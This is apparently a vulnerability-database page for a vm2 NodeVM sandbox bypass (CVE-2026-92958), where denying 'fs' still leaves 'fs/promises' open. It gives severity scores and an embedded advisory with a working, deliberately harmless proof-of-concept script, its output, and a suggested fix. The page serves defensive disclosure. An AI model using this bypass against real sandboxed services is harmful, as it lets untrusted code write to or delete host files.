CVE-2026-92958

highpriority · track · 34EPSS 0.004 · 32 %ileDERUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.38% (32nd) EPSS
CVSS 8.5 · high
Is it mine?
4 products
Check your exposure
Who says so?
3 sources
fstec_bdu · cert_bund · osv

EPSS · scored 2026-10-27

vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.7–8.5

v3.18.5highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:Lprimary · disclosure@vulncheck.comexploitability 3.1 · impact 4.7
v3.18.5highAV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:Lsecondary · FSTEC (BDU) RU
v3.18.5highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:Lsecondary · OSV
v4.08.4highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.05.7mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-2997vm2: Mehrere SchwachstellenDeutsch2026-08-24csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, um Daten zu manipulieren, um einen Denial of Service Angriff durchzuführen und um beliebigen Programmcode auszuführen.

  • GHSA-6rh5-qq4q-97xhvm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes2026-10-01ghsa · osvUS

    ## Summary NodeVM's builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`. With the following configuration: ```js require: { builtin: ['*', '-fs', '-child_process'] } ``` `require('fs')` and `require('child_process')` are blocked, but `require('fs/promises')` and `require('node:fs/promises')` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API. ## Affected Mode NodeVM. ## Affected Configuration ```js new NodeVM({ require: { builtin: ['*', '-fs', '-child_process'] } }); ``` This affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `'*'` builtin wildcard. ## Affected Files / Functions - `lib/builtin.js` - `DANGEROUS_BUILTINS` - `BUILTIN_MODULES` - `makeBuiltinsFromLegacyOptions` - `addDefaultBuiltin` - `lib/resolver.js` - `Resolver.resolve` - `Resolver.loadBuiltinModule` - `lib/setup-node-sandbox.js` - `requireImpl` ## Root Cause `lib/builtin.js` builds `BUILTIN_MODULES` from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name: ```js if (builtins.indexOf(`-${name}`) === -1) { addDefaultBuiltin(res, name, hostRequire); } ``` This means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`. There is also inconsistent `node:` prefix handling. `require('node:fs/promises')` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require('fs/promises')`. ## Security Boundary Crossed Sandboxed code can perform host filesystem writes even though the embedder denied `fs`. ## Impact Confirmed impact: - Host file creation - Host file write The proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string. Additional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof. ## Safe Local Reproduction Tested on Node.js `v24.14.0`. This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file. ```js 'use strict'; const fs = require('fs'); const os = require('os'); const path = require('path'); const { NodeVM } = require('./'); const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`); const marker = `vm2-fs-promises-marker-${process.pid}`; try { fs.unlinkSync(proofPath); } catch (_) {} (async () => { const vm = new NodeVM({ require: { builtin: ['*', '-fs', '-child_process'] } }); const result = await vm.run(` module.exports = (async () => { const r = {}; try { require('fs'); r.fsLoaded = true; } catch (e) { r.fsBlocked = true; r.fsError = e && e.code; } try { require('child_process'); r.childProcessLoaded = true; } catch (e) { r.childProcessBlocked = true; r.childProcessError = e && e.code; } const fsp = require('fs/promises'); r.fsPromisesLoaded = true; r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort(); await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8'); r.wrote = true; return r; })(); `); const exists = fs.existsSync(proofPath); const content = exists ? fs.readFileSync(proofPath, 'utf8') : null; console.log(JSON.stringify({ result, hostFileExists: exists, hostFileContent: content }, null, 2)); try { fs.unlinkSync(proofPath); } catch (_) {} })().catch(error => { try { fs.unlinkSync(proofPath); } catch (_) {} console.error(error); process.exitCode = 1; }); ``` Observed result: ```json { "result": { "fsBlocked": true, "fsError": "ENOTFOUND", "childProcessBlocked": true, "childProcessError": "ENOTFOUND", "fsPromisesLoaded": true, "wrote": true }, "hostFileExists": true, "hostFileContent": "vm2-fs-promises-marker-<pid>" } ``` Additional local checks: - `require('node:fs/promises')` also loads and can write the proof file. - Adding `-fs/promises` blocks `require('fs/promises')`. - Adding only `-node:fs/promises` does not block `require('fs/promises')`. ## Expected Secure Behavior If an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including: - `fs` - `fs/promises` - `node:fs` - `node:fs/promises` Negative entries with and without `node:` should be normalized consistently. ## Suggested Fix 1. Normalize builtin names before allow/deny checks: - Strip `node:` for comparison. - Use one canonical key form internally. 2. Treat negative builtin entries as family denials where appropriate: - `-fs` should block `fs/promises`. - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries. 3. Add regression tests for: - `builtin: ['*', '-fs']` blocks `fs/promises`. - `builtin: ['*', '-fs']` blocks `node:fs/promises`. - `-node:fs/promises` and `-fs/promises` behave equivalently. - Explicit allowlist behavior is documented and covered.

06

also known as (1)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-09-17modified 2026-09-22
08

references (2) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan